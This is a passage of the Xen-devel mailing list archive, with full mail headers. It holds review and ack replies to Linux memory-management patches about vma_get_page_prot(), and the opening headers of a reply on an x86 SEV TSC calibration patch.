On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> Having vma_get_page_prot() refer to VMA flags and vma_set_page_prot() ref=
er
> to a VMA is confusing.
>
> Rename vma_get_page_prot() to vma_flags_to_page_prot() to resolve this
> confusion.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  include/linux/mm.h              | 4 ++--
>  mm/vma.c                        | 2 +-
>  mm/vma.h                        | 2 +-
>  tools/testing/vma/include/dup.h | 2 +-
>  4 files changed, 5 insertions(+), 5 deletions(-)
>
Makes sense.

Reviewed-by: Zi Yan <ziy@nvidia.com>


--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 02:37:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 02:37:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356563.1611138 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whI9u-0001OC-0X; Wed, 08 Jul 2026 02:37:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356563.1611138; Wed, 08 Jul 2026 02:37:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whI9t-0001O5-Tw; Wed, 08 Jul 2026 02:37:09 +0000
Received: by outflank-mailman (input) for mailman id 1356563;
 Wed, 08 Jul 2026 02:37:08 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whI9s-0001Nz-Cm
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 02:37:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whI9r-00FiBZ-MF
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 04:37:07 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db769-bab6-0a2a0a5309dd-0a2a4508a354-48
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:37:07 +0200
Received: from [52.101.62.27]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4db7d1-edec-0a2a45080019-34653e1be5f8-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 04:37:07 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by PH7PR12MB8778.namprd12.prod.outlook.com (2603:10b6:510:26b::16)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Wed, 8 Jul
 2026 02:36:59 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Wed, 8 Jul 2026
 02:36:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=VZZQ8cZA52MWgegKfOITVQAgcN0oUlLjyR474Ros5iq2rFKdnOuXb6pKZjs/pNJkxrBfi6ocQQapdwKi+8/reZbLST6nD8Jm/g6yDjDQA90L4Gu488H+gbkFtZctzwyW9ACwFMNctCUQz3rb6BJT5AIr91tV+/E+WocFTaXbFjDUKJVJS2kAj8+TrLEYoN//KBVVrYWBttNKHguWgWro/ws1CdBSiTZLeVJOr8G0buTR8DeSa++48RHv2468LoqnC7rU73jQ2BDV1CfXANhRCb4u4M9eXF+/BGOG0eLPaJ49T2NQuzNV2M4O10feAMyr/BGpcPgkafLvYBvQwZ7tbw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Jf+DSRZPaPiqa23Z+NsIeIObG2sHTY0/CEuDSTYjg9s=;
 b=nQ0P4/sdSXmiO0ZHr6pihPNjCu4cIgzODYN8EZ9QDLERGTyPhtE2VCqPaqyb1VpvWEL3Ux/zAU6jewidQKTqA+lAj6npH0mvZ+0f3VtbSE/4OmVa6qfMVJcXkXe3T9nf1giwt7gyg2yd6HRm88814Tm2nEDgPO7xNZAyaVd3pBObvJecy/3AvUeWiA1tFyoh6GYy/pjI+GDRw1/a1yOMVOuv3DDRyhcUvexi0mF9HGCEYG4xDk9X8zb74EAK70QxBDptG6fuoTw0+fw3iUHE5q3jkDJVkS8kKfegJZIjT9MoOa+dlImbJT/SfY4ZQmyMYxV+XQuAxJG0cVAu8zAX6w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Jf+DSRZPaPiqa23Z+NsIeIObG2sHTY0/CEuDSTYjg9s=;
 b=MFprGJWimBSpaXlX3i+O2/ZtL/fCHs1830SG75uwTc7F2hRMC3ncWb0JVlaaHVw/5hZW6q09BGuO3WhI8/sOZeQ7AO+D9CajqiB+24XtXHRarG62ZqCgB9uAFlnXlWyBTCLqWMfQlWpvz8a090qazpfvO9gxfqfSpFL99yPS5lBI5rvU/SFJdKATvfn429MzTUUbTzsxhPfQBEJcF+NzRZ4+7GGvLEVBadjnPBCkTDSl6lHNA2V6pikinctkgMQPNu3IleNkM9/978FewuMGSj90RnXTOMmMdo/rpYiR991nr9PKuGj5R6vMtBTYaohBDdVb0G3MmQ2Ou9MvIJZ0fg==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Tue, 07 Jul 2026 22:36:51 -0400
Message-Id: <DJSU9FF2QXT5.14Y23MIT6POO3@nvidia.com>
Subject: Re: [PATCH 08/13] mm: introduce vma_get_page_prot() and use it
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <3bb8bdc4788230c33102166d56cbc5abfad9d4cb.1782760670.git.ljs@kernel.org>
In-Reply-To: <3bb8bdc4788230c33102166d56cbc5abfad9d4cb.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: DS7PR03CA0225.namprd03.prod.outlook.com
 (2603:10b6:5:3ba::20) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|PH7PR12MB8778:EE_
X-MS-Office365-Filtering-Correlation-Id: 8d82f526-25a1-487f-f722-08dedc99c8a7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|7416014|23010399003|10070799003|11063799006|4143699003|56012099006|6133799003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	IJg6EdRPZd9WVhujhgKnpJbCHuanEdRyEYJF1H/xR2IHNf4l16FKVIz74HfuoPctZTTfQSnfqG6NPQ++2PeSpebhCKhQRv+JRvBHJk5mdG0k9mYrctd0PPrQksvnJL75lKRzA7lc5xX5fuvCHXP0BN42CFzdSzbq1sgz8k7zet65CVVALweguWZP1V1pHN7JOEaY95FaGbkUD42nFTISX3PKBMyu9R+EdMImtjqn/nF50ILLPajW+5NxPVUdHxVdVtQoz0twBmrQXO0y30cmwh1RR0ls3/ojVSnrh1dgaoa8X+TtrWmwFQ5jYR5L702/JkC5lvexOIHam8V1zjUVZdRpL+dUNuJbEEjz88KTAF6bVIU5RNqCYfIW46t4BvWyPopNp0MtIYE4WYGymFz69uG/bwuSNcABIyUrOSEx+H9QM03TN86PpEVh5N0sseX9Hx9Tlu+ZI8RySDwyqLCPHP6TVCjx7wF/m2acj+8sMKDafToLdnE7bq17YmQKwf83DJlYp5N9SqQ8QsR6Tpb0TUNhLsjPESr1mLSqyrPNCzyrYBTMpv+nD1XO4HWnoUrznAlFcflPdhKTWK3hWVSA6ykBoS/HMAAC//awczhM706YzLgU27Ep9YUxhatBS60GijbURnHgECNTDXPsKIIrRRldoQdyz0vWOeSy63vByYk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(7416014)(23010399003)(10070799003)(11063799006)(4143699003)(56012099006)(6133799003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ek5CR0JZK0h1R2ZwMjFselVxakFaTUxTVUFmb09RbTYyeVFqdnpBRFQzam84?=
 =?utf-8?B?TEk3N3krL0R1dUlqUWFZSlcwbC9aWDVwb21EVW1vdmJlNDRiREVjN1J3WHlQ?=
 =?utf-8?B?QnFHcFE5aVBxZkU3QkRmaGs4YnhSVDN1VkpiYlA4WTVFM05Zc2FuRW9WcTJh?=
 =?utf-8?B?QzFVRUlqVEhWUDByeTNtd2FNQzFReGtTcW5FdGg3bGY1ZnhUMmhqQ2hMMmJp?=
 =?utf-8?B?c1prZFRJR0FORlNhV3pJNWhQaVF5K044dWFCdFYveWdaWW5tYUFNYXR4WTNu?=
 =?utf-8?B?UlFMdHYvc28zajh5ZTc0Um1qR29MNlZrTXpteW1JWHVkMWFoMUxuay9keG4z?=
 =?utf-8?B?dEZSS1Z4ZFh2bVFFM0M0Zk5WbGZsc1JJamZ6c2ZILzF1bndLOVd0bkQ2WXNu?=
 =?utf-8?B?eFdEbXJ6N0hiTnNXbVdBRlJVeUYwK0lSL0VuSU1GamU3Z3NoQWZZNkFyNUFr?=
 =?utf-8?B?Tm5XQzA3WlVIeWkvRmdtUlduTG16QWpFRTkxOXl1Q3RsWWdpTVp5bGlrRXZD?=
 =?utf-8?B?VDlRVkowNUxkdytMUzc1aVlLeFphUVN4ZkwzNTJQNUJrQkJqbktiZDIwYVRS?=
 =?utf-8?B?dWx2NnIwNzhTcG94OXdsRjRFZXRiK3BFVVlQTnRSYjVzUndtN09Ca1VJY1lU?=
 =?utf-8?B?dXpyWlBp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ange-CrossTenant-Network-Message-Id: 8d82f526-25a1-487f-f722-08dedc99c8a7
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 02:36:58.9074
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: WjtQ2+h3pQ1C67hYZ/v+qccBEc8nzPfsA30B/zApM/vuVLU11R9L28Lb6VkAqY3Y
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR12MB8778
X-purgate-ID: tlsNG-c1860d/1783478227-40F2A3FC-80F73582/0/0
X-purgate-type: clean
X-purgate-size: 1902

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> There's a large number of vm_get_page_prot(vma->vm_flags) invocations. Ma=
ke
> life easier by introducing vma_get_page_prot() parameterised by the VMA.
>
> This also makes converting vm_get_page_prot() to vma_flags_t easier.
>
> Also update the userland VMA tests to reflect the change.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  drivers/gpu/drm/drm_gem.c                   |  2 +-
>  drivers/gpu/drm/drm_gem_dma_helper.c        |  2 +-
>  drivers/gpu/drm/drm_gem_shmem_helper.c      |  2 +-
>  drivers/gpu/drm/etnaviv/etnaviv_gem.c       |  2 +-
>  drivers/gpu/drm/exynos/exynos_drm_gem.c     |  6 +++---
>  drivers/gpu/drm/i915/gem/i915_gem_mman.c    | 12 ++++++------
>  drivers/gpu/drm/msm/msm_gem.c               |  2 +-
>  drivers/gpu/drm/nouveau/nouveau_gem.c       |  2 +-
>  drivers/gpu/drm/omapdrm/omap_fbdev.c        |  2 +-
>  drivers/gpu/drm/omapdrm/omap_gem.c          |  6 +++---
>  drivers/gpu/drm/rockchip/rockchip_drm_gem.c |  2 +-
>  drivers/gpu/drm/tegra/gem.c                 |  2 +-
>  drivers/gpu/drm/virtio/virtgpu_vram.c       |  2 +-
>  drivers/gpu/drm/vmwgfx/vmwgfx_page_dirty.c  |  2 +-
>  drivers/gpu/drm/xe/xe_device.c              |  2 +-
>  drivers/gpu/drm/xe/xe_mmio_gem.c            |  2 +-
>  drivers/gpu/drm/xen/xen_drm_front_gem.c     |  2 +-
>  drivers/video/fbdev/core/fb_io_fops.c       |  2 +-
>  include/linux/mm.h                          | 10 +++++++++-
>  mm/vma.c                                    |  2 +-
>  mm/vma_exec.c                               |  2 +-
>  sound/core/memalloc.c                       |  2 +-
>  tools/testing/vma/include/dup.h             |  4 ++++
>  23 files changed, 43 insertions(+), 31 deletions(-)
>

Acked-by: Zi Yan <ziy@nvidia.com>

--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 04:53:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 04:53:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356578.1611148 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whKHA-0006Dy-8S; Wed, 08 Jul 2026 04:52:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356578.1611148; Wed, 08 Jul 2026 04:52:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whKHA-0006Dq-3k; Wed, 08 Jul 2026 04:52:48 +0000
Received: by outflank-mailman (input) for mailman id 1356578;
 Wed, 08 Jul 2026 04:52:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <nikunj.dadhania@amd.com>) id 1whKH8-0006Dk-SM
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 04:52:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whKH7-00Erne-5s
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 06:52:45 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <nikunj.dadhania@amd.com>)
 id 6a4dd762-e002-0a2a0a5209dd-0a2a450996ea-32
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 06:52:44 +0200
Received: from [52.101.46.54]
 (helo=CO1PR03CU002.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <nikunj.dadhania@amd.com>)
 id 6a4dd79a-97e6-0a2a45090019-34652e367eca-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 06:52:44 +0200
Received: from CH0PR04CA0071.namprd04.prod.outlook.com (2603:10b6:610:74::16)
 by DS0PR12MB8528.namprd12.prod.outlook.com (2603:10b6:8:160::6) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Wed, 8 Jul
 2026 04:52:36 +0000
Received: from CH2PEPF00000148.namprd02.prod.outlook.com
 (2603:10b6:610:74:cafe::94) by CH0PR04CA0071.outlook.office365.com
 (2603:10b6:610:74::16) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.9 via Frontend Transport; Wed, 8
 Jul 2026 04:52:36 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CH2PEPF00000148.mail.protection.outlook.com (10.167.244.105) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 04:52:36 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 7 Jul
 2026 23:52:35 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 7 Jul
 2026 23:52:35 -0500
Received: from [10.252.210.85] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Tue, 7 Jul 2026 23:52:23 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=iH11X8l0wQaiz4mtUMOCFsKSiDn3VTh+ubRI0d+Zk4N8o2JQjR+9+NeSR7rcBqInR7kNnjA53W/Oxd24A8cKY+r6ytS7JHmQSEpR4cZuAgNlQGEwU/bRBYrq3a8TnymMxZYz3s7kmYFenptmNsWirpFUlTmXOR4yZW0lDFWmcLiBfj+onD38KuMzVThCGhIR9kA5ySEJaUYqpyUgEp8SLF9Wz24GrvF5BB8mc+U3/VSuNl+jAkgx4P8o94i1XWIkzH/Z/SA+pv42nkRYpXKv9aGSKJr8r0YCbdPXZW1HeulRkS94vIJ3gAJZbdxxt3bSIIjdeCJ/xKTFox2fb4LqgQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Ei0d+QTfykHeiOAHu1tWpX6WZ1Hr1ps4k7WhbCYRX0E=;
 b=Zm9Lv/JOG8wS7G60L2wgnbsLzf2abbea0DvyhBbQHk8CN/ftX4BlKaqY15bZnAdCv/xa0SEe82dX2vQ05qDvprCw2Yffk1FXWW4Yw3FpR4PkSYZ6JTnuO/5fLpzkZ2qO+teVqJNodRq3einpfy0Cuzle/oqpvXrYIqkYwYVx2JlJsCBowvCH8whCGCjJgTpeAiMgzGN0sz6gezp1gJpBECCxv0moQv1Is54xBCwq0e0vAMIxEtWWviyyzPItpAFMDLbZ3IQx0hO0CDYP+fznkdUfnc9YGmXi51kqMpw/k9qcv3b55abwNdZloAvGKmc+2PoZdBJsMLtwNe+afMOjSA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=google.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Ei0d+QTfykHeiOAHu1tWpX6WZ1Hr1ps4k7WhbCYRX0E=;
 b=f7tCGI8ht0nTD1k6xFTevhEwNAU/gaASJuv6Wh17c5WZGimf9SKadjXju/StHRhF0zpiyczzRsHMUQRIr1f7rZKwKxEeKpqzfbUGHtslNs/B4VTC9WmMBNF1ORoGDC5u3nAZRYZsCLOSHvE21QTZfO3A6nFjsuLqBf4LM/IBCYw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <40e20edb-48f4-4f50-b5e4-d6e771235b4a@amd.com>
Date: Wed, 8 Jul 2026 10:22:17 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 08/51] x86/sev: Shove SNP's secure/trusted TSC
 frequency directly into "calibration"
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, "Ingo
 Molnar" <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, <x86@kernel.org>, Kiryl Shutsemau
	<kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K. Y.
 Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>, "Wei
 Liu" <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, "Andy
 Lutomirski" <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	<linux-doc@vger.kernel.org>, <kvm@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>, <linux-coco@lists.linux.dev>,
	<linux-hyperv@vger.kernel.org>, <virtualization@lists.linux.dev>,
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	David Woodhouse <dwmw@amazon.co.uk>, David Woodhouse <dwmw2@infradead.org>,
	Michael Kelley <mhklinux@outlook.com>, Thomas Gleixner <tglx@linutronix.de>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-9-seanjc@google.com>
Content-Language: en-US
From: "Nikunj A. Dadhania" <nikunj@amd.com>
In-Reply-To: <20260701193212.749551-9-seanjc@google.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH2PEPF00000148:EE_|DS0PR12MB8528:EE_
X-MS-Office365-Filtering-Correlation-Id: 354d1e25-cfa8-4149-4105-08dedcacbae7
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
